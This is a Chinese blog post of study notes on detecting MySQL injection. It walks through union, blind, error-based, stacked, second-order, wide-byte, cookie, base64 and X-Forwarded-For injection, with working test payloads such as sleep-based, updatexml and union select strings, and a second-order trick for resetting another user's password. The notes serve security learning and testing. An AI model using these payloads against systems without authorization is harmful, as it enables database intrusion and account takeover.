11 mysql注入漏洞判断 02

union 联合查询注入

1' and '1'='1  与 1' and '1'='2 页面信息是否一样 不一样则存在漏洞

 

boolean 布尔盲注

页面仅仅会显示所查询的内容存在或者不存在

可以采用演示语句进行判断

1' and sleep(10)--+ 

若延迟10秒则存在漏洞

1‘  and if(1=1,1,0)--+

页面返回正常则存在漏洞

 

报错注入

1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
错误信息中返回数据库信息则存在漏洞
 
堆叠注入
id=1' and 1=2--+ id=1' and 1=1--+
 
二次注入
二次注入比其他的注入更加难以发现
先测试网站是否拥有过滤,然后寻找可能会带入恶意数据二次使用的地方
如:用户注册-》修改密码
文章添加-》文章编辑
先注册用户a
再分别注册用户 a' and 1=1#     ps:这里要注意#注释符,否则恶意数据在取出时会报错
和用户a' and 1=2#
按道理我们在修改a' and 1=1#的密码的时候,a' and 1=1#的密码不变,a 的密码被修改且不需要知道a 的密码的
 
宽字节注入
数据库编码与PHP编码设置为不同的两个编码就有可能产生宽字节注入
gpc 绕过过程
%df%27===(addslashes)===>%df%5c%27===(数据库 GBK)===>運'
简单来说就是在php编码下是正常字符,到数据库会被编码为单引号所以会闭合搜索语句
检测语句
-1%df%27%20and%201=1--+ 页面是否存在乱码
-1%df%27%20or%20sleep(10)--+ 页面是否存在延时
均可以测试存在宽字节注入
-1%df%27%20union%20select%201,version(),database()--+
 
cookie 注入
注入点在cookie中
平常不会把cookie中的信息放到数据库中,但是在某些例如购物车等需要长时间确认身份的场景下,会把cookie信息存入数据库中
测试方法就和post get 的注入点一样
使用 buspsuite 抓包 改包提交
输入 uname=admin'+and+1%3d1--+ uname=admin'+and+1%3d2--+进行检测
 
base64注入
恶意数据需要经过base64加密
base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字
符。编码过后的字符串,在程序中重新被解码,再拼接成 SQL 攻击语句,再执
行,从而形式 SQL 注入
 
xff注入攻击
之前通过xff绕过本地ip验证
没想到xff还能够注入数据库
开发人员很容易忽略xff这个头信息,且不会对xff进行过滤
当有xff头时可以尝试闭合sql语句试试
 
总而言之,sql注入就是在破坏原有的sql语句的基础上,添加新的sql语句,并以各种方法读到运行的结果
 
 
 
posted @ 2022-02-24 22:31  r0nGer  阅读(124)  评论(0编辑  收藏  举报